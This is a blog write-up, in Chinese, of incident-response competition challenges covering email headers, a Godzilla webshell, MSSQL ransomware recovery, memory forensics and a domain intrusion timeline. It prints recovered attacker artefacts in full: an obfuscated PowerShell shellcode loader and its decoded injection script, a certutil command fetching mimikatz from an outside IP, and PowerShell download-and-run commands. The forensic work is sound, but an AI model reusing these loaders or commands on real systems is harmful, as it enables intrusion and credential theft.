Solar应急响应做题记录
Solar应急响应
题目来源于https://www.qsnctf.com/
第一届solar应急响应比赛
之前做过一些,在这篇里有数字取证DIDCTF(超级缓慢更新) - Super_Snow_Sword - 博客园
签到
本题作为签到题,请给出邮服发件顺序。
Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: hellosolartest@qq.com
From: 克市网信
Subject:xxxxxxxxxx
Message-Id: <20241017112401.032146@mail.solar.sec>
X-Mailer: QQMail 2.x
XXXXXXXXXX
flag格式为flag{domain1|...|domainN}
-
mail.solar.sec(主机名) → 本地注入到 mail.da4s8gag.com 的 Postfix
证据:底部的
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1]) by mail.da4s8gag.com (Postfix) ... 含义:邮件最初由
mail.solar.sec(在mail.da4s8gag.com这台机器上被识别为VM-20-3-centos)提交到本机的 Postfix 进程,使用的是本地回环(127.0.0.1),说明是本机产生或本机内部服务提交的邮件。 -
mail.da4s8gag.com (Postfix) → newxmmxszc6-1.qq.com (QQ 的 MX / NewMX收信服务器)
证据:上层的
Received: from mail.da4s8gag.com ([140.143.207.229]) by newxmmxszc6-1.qq.com (NewMX) ... 含义:
mail.da4s8gag.com把邮件通过公网 IP140.143.207.229发给 QQ 的收信服务器newxmmxszc6-1.qq.com。 -
newxmmxszc6-1.qq.com 接收并处理 → 最终投递到目标邮箱 hellosolartest@qq.com
证据:虽然贴的头没有显示后续 Delivered-To 或最终投递到用户邮箱的专有头行,但从 by newxmmxszc6-1.qq.com 可推断这是 QQ 的收信环节,之后 QQ 内部会把邮件投递到 hellosolartest@qq.com 的邮箱。X-QQ-mid/X-QQ-XMRINFO 是 QQ 给出的内部追踪信息。
即:
mail.solar.sec→mail.da4s8gag.com→newxmmxszc6-1.qq.com
Received: from mail.da4s8gag.com ([140.143.207.229])
说明:这是一个 Received 报头的一部分,格式通常是from <客户端名> (<客户端IP>)。这里表示:接收方的 MTA(邮件服务器,后文为newxmmxszc6-1.qq.com)在收到邮件时记录,邮件来自主机名mail.da4s8gag.com,该主机的公网 IP 为140.143.207.229。
作用:记录一次传递(hop)的来源主机和来源 IP。by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
说明:同一行继续,by <接收方MTA>表示邮件是被newxmmxszc6-1.qq.com(这是 QQ 邮件的某台 MX/收信服务器)接收的。括号里的NewMX是 MTA 的标识或软件,with SMTP id 6010A8AD是该次会话/事务的内部 ID(便于追踪)。
作用:说明哪台服务器接收了邮件以及该会话的标识号。for ; Thu, 17 Oct 2024 11:24:01 +0800
说明:for <收件人>表示这个 hop 的目标收件人(通常写收件人地址),你这里for ;显示为空格或被抹去/未正确显示;后面是该 hop 的时间戳(本例为 2024-10-17 11:24:01,时区 +0800)。
作用:记录该 hop 的接收时间与目标(有时会被过滤或省略)。X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
说明:QQ 内部为这封邮件分配的中间 ID(message ID / tracking id),用于 QQ 邮件系统内部的追踪、排障和统计。通常是内部元数据。X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
说明:QQ 的内部跟踪/路由/反垃圾等用的不可读(通常是 Base64 或加密)信息字段。对外部用户通常没有直接意义,只是内部追踪信息。Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=; dkim=none; dmarc=none(permerror) header.from=solar.sec
说明:这是接收方(此处由mx.qq.com)对邮件做的身份验证结果汇总,包含常见三项:SPF / DKIM / DMARC。详细解释:spf=none smtp.mailfrom=;:SPF 检查结果为none,同时显示smtp.mailfrom=为空 —— 说明发送时没有提供或无法识别发件人的 Envelope MAIL FROM(也可能是报头被裁剪),或者发送域没有 SPF 记录;none表示没有匹配到 SPF 记录或未执行。
dkim=none:没有检测到 DKIM 签名(或签名不存在/未验证)。dmarc=none(permerror) header.from=solar.sec:DMARC 检查为none并伴随permerror(永久性错误),表示对header.from(即信封/信头 From 所显示的域solar.sec)进行 DMARC 检查时发生了某种错误(例如 DNS 查询失败、域配置问题或格式不合)。
作用:告诉你这封邮件在到达mx.qq.com时的身份验证(反欺诈)结果,当前显示没有成功的 SPF/DKIM/DMARC 认证。Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
说明:另一条 Received,表示mail.da4s8gag.com在接受邮件时记录来源为mail.solar.sec,且该主机在其自身日志中把来源标记为VM-20-3-centos,并显示 IP 为127.0.0.1(本地回环地址)。
含义要点:127.0.0.1出现在 Received 中通常表示邮件是在mail.da4s8gag.com这台主机上本地注入的(即从本机的 MTA 或本机进程通过本地接口提交),而不是从公网另一台机器直接连过来。mail.solar.sec是发送方宣称的主机名(HELO/EHLO 名称或本地 MUA 名)。by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
说明:这一 hop 的接收方是mail.da4s8gag.com,它运行的是PostfixMTA,使用 ESMTP 协议,事务/会话 ID 为2EF0A60264。
作用:记录此 MTA 接收邮件的细节(MTA 类型、协议与内部会话 ID)。for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
说明:同上,说明这个 hop 的时间戳(注意与前一条 Received 的时间相同)。CST在这儿等于 +0800(中国标准时间)。Date: Thu, 17 Oct 2024 11:24:01 +0800
说明:邮件的 Date 报头,由发送方的 MUA / MTA 设置,表示发件人声明的发信时间。它可以被伪造或与实际传输时间不一致,但通常用于显示给收件者。To: hellosolartest@qq.com
说明:邮件头部的收件人(显示收件人)。注意实际投递时 MTA 使用的 envelope recipient(即 SMTP RCPT TO)可能与此略有不同,但通常相同。From: 克市网信
说明:邮件头部的发件人显示名(From的 display name);实际的电子邮件地址没有显示在你贴出的那一行(可能被省略或在同一行没有显示完整)。From头可以被伪造(这是显示给人的发件人信息)。Subject: xxxxxxxxxx
说明:邮件主题。Message-Id: <20241017112401.032146@mail.solar.sec>
说明:每封邮件通常有一个Message-ID,由发送方的 MTA/MUA 生成,用于在邮件线程、去重、追踪时作为唯一标识。格式通常包含时间戳和产生该 ID 的主机域(这里是mail.solar.sec)。X-Mailer: QQMail 2.x
说明:发信客户端/软件信息,表示发送方使用(或伪造为)QQMail 2.x来发送这封邮件。X-开头的头通常是可选的扩展信息,并不保证真实。
日志流量-1
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
GeoServer 是一个 开源 的 地理信息服务器(GIS Server),用于发布、共享和管理地理空间数据。它允许用户通过标准的网络协议(如 WMS、WFS、WMTS、WCS)来访问和操作空间数据。
进行流量分析,发现木马b.jsp:

在给出的网站根目录中也能找到这个木马文件:

当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。
这个过程是动态的,Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/
找到b_jsp.class可以发现是哥斯拉自动生成的webshell木马:

哥斯拉webshell特征:
选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
xc:AES 加密密钥(16 字节)
在整个 b.jsp 文件中,code 变量只是被定义了,但并没有被直接使用,也没有被传递给任何方法或函数。
进行解码:

日志流量-2
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
对流量进行过滤分析:
http.request.full_uri contains "b.jsp"

根据得到的密钥使用蓝队工具进行解密:

找到读取flag.txt的流量:

对返回包进行解密:

日志流量-3
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。

可以发现上传的PDF文件,我们对其进行导出即可得到flag:

(目前没有找到有什么可以直接进行导出的工具,这里用的是puzzlesolver-pro)

用cyberchef的话就需要删除HEX前面不必要的部分,但我不知道如何分辨哪里必要哪里不必要:

数据库-1
题目附件:mssql、mssql题-备份数据库
请找到攻击者创建隐藏账户的时间
这次详细讲讲题目背景:
操作系统已经被黑客攻击导致修改用户口令、锁定登陆、破坏系统,因此我们无法直接启动靶机
为了应急并分析,我们需要制作PE系统。
PE系统
当你的机器被黑客入侵、用户口令被篡改或系统被锁定,直接在被攻击的系统上操作有可能破坏取证线索或被远程攻击者干预。PE(Preinstallation Environment)是为这种情况设计的救援环境:它是一种可以从 U 盘或光盘启动的临时操作系统(例如 Windows 的 WinPE 或各种 Linux Live 系统),能在不启动目标系统原操作系统的前提下挂载磁盘、导出数据、制作磁盘镜像并进行离线分析。使用 PE 的基本原则是“先保全证据、再修复系统”:首要任务应是把整盘镜像导出并校验(md5/sha256),在镜像上进行分析与清理,避免直接对原盘写操作。
在文章数字取证DIDCTF(超级缓慢更新) - Super_Snow_Sword - 博客园中我使用的是取证大师进行了黑客攻击利用的分析,真正做到应急响应中恢复系统正常使用的步骤用的是仿真大师登进了系统(登录密码绕过了),这次使用PE系统进行系统恢复
官方WP使用的PE系统:下载 - HotPE
尝试打开靶机,不知道密码:

在靶机的虚拟机编辑设置CD/DVD处选择pe镜像

选择电源-->打开电源时进入固件

在boot选项中使用键盘+调整启动顺位

重启后即可在PE系统中分析文件了:

为了得知攻击者创建隐藏账户的时间,查看D:\Windows\System32\winevt\Logs\Security.evtx(使用项目:feiniao112/windows-log-analyzer: Window日志分析工具)

(东八区加上8小时)
数据库-2
题目附件:mssql、mssql题-备份数据库
请找到恶意文件的名称

数据库-3
题目附件:mssql、mssql题-备份数据库
请找到恶意文件的外联地址
在恶意文件的配置config.json文件中可以看到外联的url为“sierting.com”:

dns解析得到外联地址IP

数据库-4
题目附件:mssql、mssql题-备份数据库
请修复数据库
数据库修复由真实事件改编:【病毒分析】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告
被勒索主机被加密数据库路径C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\,加密损坏了表结构,因此题目给的是表结构一致的mdf作为参照mdf
使用D-Recovery SQL Server进行恢复:


恢复成功
数据库-5
题目附件:mssql、mssql题-备份数据库
请提交powershell命令中恶意文件的MD5
打开事件查看器,分析powershell日志,发现可疑执行日志:
事件ID 400:PowerShell 运行空间(Runspace)已启动并初始化。
事件ID 600:PowerShell 运行空间(Runspace)已关闭或终止。
powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
- New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。
- System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。
- ReadToEnd():读取并执行解压后的数据内容。
解码发现内容是Gzip编码的数据流

进行解码:

function tWk {
Param ($k0M, $ybp)
# 获取 System.dll(用于访问 Win32 API)
$f2w = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).
GetType('Microsoft.Win32.UnsafeNativeMethods')
# 获取 GetProcAddress API 的方法句柄(用于获取函数地址)
return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).
Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(
(New-Object IntPtr),
($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M))
))), $ybp))
}
function lVhI5 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8, # 参数类型数组
[Parameter(Position = 1)] [Type] $nZWM = [Void] # 返回值类型,默认为 Void
)
# 创建动态程序集、模块和类(用于创建委托类型)
$p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
# 定义构造函数
$p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).
SetImplementationFlags('Runtime, Managed')
# 定义方法
$p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).
SetImplementationFlags('Runtime, Managed')
return $p8dl.CreateType()
}
# 解码 Base64 编码的 shellcode
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
# 申请内存(VirtualAlloc),用于存放 shellcode
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll VirtualAlloc),
(lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
Invoke([IntPtr]::Zero, $tUZml.Length, 0x3000, 0x04)
# 复制 shellcode 到分配的内存
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
# 修改内存权限(VirtualProtect),使 shellcode 可执行
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll VirtualProtect),
(lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
# 创建新线程(CreateThread),执行 shellcode
$yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll CreateThread),
(lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0, $rS, [IntPtr]::Zero, 0, [IntPtr]::Zero)
# 等待线程执行完成(WaitForSingleObject)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll WaitForSingleObject),
(lVhI5 @([IntPtr], [Int32]))).
Invoke($yfm6I, 0xffffffff) | Out-Null
}
恶意文件即为shellcode解码后的内容,我们解码后计算MD5即可:

内存取证-1
题目文件:SERVER-2008-20241220-162057
请找到rdp连接的跳板地址
使用volatility加载内存镜像,分析其网络连接状况:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.netscan

可以发现192.168.60.150的3389端口(远程桌面)连接到了192.168.60.220:34121(svchost.exe 是 Windows 系统服务的宿主进程,可能与远程桌面服务相关。)
内存取证-2
题目文件:SERVER-2008-20241220-162057
请找到攻击者下载黑客工具的IP地址
查看历史命令是否存在:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.consoles
如果没有consoles插件就使用volatility2中的cmdscan

可以发现执行过命令:
certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:\Windows\Temp\mi.exe
| 参数 | 作用 |
|---|---|
certutil |
Windows 证书管理工具,常被滥用于文件下载 |
-urlcache |
访问远程 URL 并缓存文件 |
-split |
处理大文件时分块下载 |
-f |
强制下载文件(即使已有缓存) |
http://155.94.204.67:85/mimikatz.exe |
目标 URL,提供 mimikatz.exe |
C:\Windows\Temp\mi.exe |
本地保存路径 |
内存取证-3
题目文件:SERVER-2008-20241220-162057
攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么
根据上一题的命令分析type pass.txt
可以发现存在pass.txt文件,我们进行文件分析:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.filescan

将其dump导出:
volatility.exe -f SERVER-2008-20241220-162057.raw -o output windows.dumpfile --physaddr 0x7e4cedd0

内存取证-4
题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户
搜索并导出Security.evtx安全日志文件进行分析(搜索创建用户事件ID4720):

内存取证-5
题目文件:SERVER-2008-20241220-162057
请找到攻击者利用跳板rdp登录的时间
继续在安全日志中分析该用户登录成功事件(ID4624):

内存取证-6
题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户的密码哈希值
分析密码哈希转储:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.hashdump

逆向破解-1
题目文件:【题目】加密器逆向
请逆向该加密器,解密机密文件
官方WP:
在createfileW处下断点,

断住之后发现输入的参数为一个文件路径
跟踪发现这里使用随机数生成了六位密钥

将生成的密钥%10,即生成0-9的密钥

明显的rc4特征,rc4密钥初始化

交换数组位置,这里就是利用key生成s盒,相当于
for i in 0..256 {
j = (j + s[i] + key[i % key.len()] ) % 256;
s.swap(i, j);
}

使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密

生成字符串

如下

再次生成字符串

如下

将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。


创建文件


写入文件

由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果
import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor
def rc4(key, data):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)
return result
def is_printable(data):
try:
return all(32 <= byte <= 126 for byte in data)
except TypeError:
return False
ciphertext = []#加密后的数据
def run(key_tuple ):
key = list(key_tuple)
decrypted_data = rc4(key, ciphertext)
# 判断是否解密后的数据是可打印的
if is_printable(decrypted_data):
decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
if 'flag' in decrypted_string:
print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
executor.map(run, itertools.product(range(0, 10), repeat=6))

其中加密后缀为一个假的flag,但是可以解出结果

综合应急
【病毒分析】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告
19.dc02是一台拥有双网卡的服务器,他的ip分别是?(多选)
A.10.0.100.22 B.10.0.11.6 C.10.0.11.7 D.10.0.10.43
20.该企业有三个域,请问这三个域的域名分别是什么?(多选)
A.set.local B.sub.set.com C.set.com D.solar.com
21.以下哪些描述正确地反映了这些域之间的信任关系?
A. 林1主域与林1子域之间存在双向信任关系
B. 林1子域可以信任林1主域,但林1主域不能信任林1子域
C. 林2主域与林1子域之间存在双向信任关系
D. 林2主域与林1子域之间不存在信任关系
22.攻击者在获取dc03之后,可能还攻击了哪些服务器?
A.10.0.11.10 B.10.0.11.11 C.10.0.11.8 D.10.0.11.236

官方WP、参考文章2024第一届Solar杯应急响应挑战赛 WP | Aura Blog:
1.哪台服务器是最先沦陷的?(计算机名)
A.sql01 B.sql02 C.web01 D.dc0224/12/18 9:01:40分以sa账户连接数据库sql01
2.攻击者创建了一个恶意的程序集,程序集名为?
A.Classlibarry3 B.CmdExec C.Classlibarry1 D.Classlibarry23.攻击者利用程序集第一次执行的命令是什么?
A.powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe
B.powershell -c C:/windows/tasks/2.exe
C.cmd.exe /c powershell -c C:/windows/tasks/2.exe
D.cmd.exe /c powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe24/12/18 9:02:04 由sqlservr.exe通过clr调用cmd.exe而后执行powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe
24/12/18 9:02:08 执行木马
24/12/18 9:02:15创建管道spoolss,9:02:18 获取system权限
24/12/18 9:02:50访问进程lsass.exe,推测攻击者从中获取哈希
5.攻击者第一次远程登陆的用户是什么?
A.administrator B.admin C.test$ D.sql0124/12/18 9:03:27 使用sql01账户通过wmi连接服务器
4.攻击者新建的用户是什么?
A.administrator B.admin C.test$ D.sql0124/12/18 9:03:54 创建用户admin
15.攻击者ip是什么?
A.10.0.10.41 B.10.0.100.38 C.10.0.10.40 D.10.0.100.8524/12/18 9:03:55发现攻击者ip 10.0.100.85
16.攻击者在第一台服务器执行过一个powershell的脚本,该脚本的名称是什么?
A.pv.ps1 B.powerview.ps1 C.run.ps1 D.Powermad.ps124/12/18 9:05:14加载了pv.ps1,从文本中可发现该脚本实际为PowerView.ps1,主要作用是在域内做信息收集。
24/12/18 9:10:44 进行dns查询
24/12/18 9:11:15 修改administrator账户密码为Password@123
6.攻击者的计算机名是什么?
A.Kali B.sql01 C.sql02 D.dc0224/12/18 9:11:24.000 攻击者使用sql01本地管理员administrator账户RDP登陆服务器
24/12/18 9:11:26.000 修改防火墙配置
7.攻击者第一次登陆第二台沦陷服务器数据库使用了什么账户?
A.administrator B.sql01 C.sql02 D.admin8.攻击者在第二台服务器上传并执行了木马,紧接着修改了系统的什么的配置?
A.防火墙 B.Defender C.服务 D.定时任务24/12/18 9:16:19.220 攻击者使用sql01账户登陆sql02数据库,之后执行命令下载木马并执行木马,提权后修改了sql02本地管理员administrator
9.攻击者可能通过什么漏洞横向到第三台沦陷的服务器?
A. 命令执行 B.文件上传 C.弱口令 D.文件上传+文件读取17.对第三台沦陷的服务器发起漏洞攻击的IP是什么?
A.10.0.10.41 B.10.0.100.38 C.10.0.10.40 D.B.10.0.100.8524/12/18 9:22:07.000 疑似利用web漏洞执行命令
24/12/18 9:26:46.000 创建调用PowerView.ps1
10.攻击者通过应用的漏洞获取了第三台沦陷的服务器权限,该权限用户安全 ID为?
A.S-1-5-21-1687412249-3843849720-271823590-1106 B.S-1-5-21-1687412249-3843849720-271823590-500
C.S-1-5-21-1687412249-3843849720-271823590-1001 D.S-1-5-21-1687412249-3843849720-271823590-110011.攻击者紧接着调用了一个powershell脚本,该脚本的作用是什么?
A.横向渗透 B.读取凭据 C.远控 D.信息收集24/12/18 9:33:54.000 web应用为域用户iis权限
18.攻击者什么时候修改了web01的管理员账号密码?
A.24/12/18 9:59:44.000 B.24/12/18 9:57:42.000 B.24/12/18 9:50:00.000 B.24/12/18 10:08:12.00024/12/18 9:59:44.000 修改web01本地管理员administrator密码
24/12/18 9:59:50 rdp连接
24/12/18 10:12:14 关闭防火墙
13.攻击者使用什么漏洞获取dc02的票据(多选)
A.CVE-2021-1675(Windows Print Spooler权限提升) B.无约束委派 C.约束委派 D.MS14-02524/12/18 10:12:19 攻击者利用无约束委派请求票据,获取票据后利用票据获取域内账户hash
12.攻击者利用了什么工具使web01和dc02进行交互?
A.SpoolSample.exe B.impacket-ntlmrelayx C.Smbclient D.printerbug.py24/12/18 10:31:08 攻击者通过winrm使用administrator哈希登陆dc02
24/12/18 10:31:20 修改域管理员密码
24/12/18 10:31:28 RDP登陆
14.攻击者使用什么漏洞获取dc03的票据(多选)
A.CVE-2021-1675(Windows Print Spooler权限提升) B.约束委派 C.无约束委派 D.MS14-02524/12/18 10:31:49-24/12/18 10:31:50 上传黑客工具
24/12/18 10:48:39 执行命令SpoolSample.exe dc03 dc02
24/12/18 10:53:02.000 注入票据
24/12/18 16:35:22 攻击者使用333.exe工具使10.0.11.6与10.0.11.8进行tcp连接
24/12/18 16:37:14 攻击者使用333.exe工具使10.0.11.6与10.0.11.10进行tcp连接

哈基米莫南北绿豆
阿西哈呀库奶龙





































浙公网安备 33010602011771号